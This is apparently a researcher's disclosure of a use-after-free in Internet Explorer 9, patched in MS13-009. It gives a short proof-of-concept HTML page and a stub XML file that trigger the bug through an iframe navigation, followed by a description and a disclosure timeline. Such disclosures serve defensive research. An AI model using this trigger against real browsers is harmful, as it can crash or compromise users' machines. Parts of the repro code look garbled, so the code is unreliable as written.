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<!-- Source: http://blog.skylined.nl/20161202001.html Synopsis A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability. Known affected software and attack vectors Microsoft Internet Explorer 9 An attacker would need to get a target user to open a specially crafted web-page. Disabling Java does not prevent an attacker from triggering the vulnerable code path. Repro.html: --> <iframe style="border:1px solid red;width:100%;height:100%;" name="iframe"></iframe> <script> window.open("Repro.xml", "iframe"); set(function () { window.open('javascript:void(location.href = "about:blank");', "iframe"); }, 1000); </script> <!-- Repro.xml: <!DOCTYPE x PUBLIC "" "http://www.w3.org/TRt.dtd"> Description This is the first security vulnerability I sold to ZDI after I quit my job at Google to live off security bug bounties. It appears I either did not analyze this issue (probably), or misplaced my analysis (probably not), as I cannot find any details in my archives, other than a repro and a HTML bug report (provided below) created by a predecessor to Bug. From the information provided by ZDI in their advisory, and Microsoft in their bulletin, as well as the bug report, it seems to have been a use-after-free vulnerability. Unfortunately, that is all the analysis I can provide. Time-line June 2012: This vulnerability was found through fuzzing. June 2012: This vulnerability was submitted to ZDI. July 2012: This vulnerability was acquired by ZDI. September 2012: This vulnerability was disclosed to Microsoft by ZDI. February 2013: Microsoft addresses this vulnerability in MS13-009. December 2016: Details of this vulnerability are released. -->
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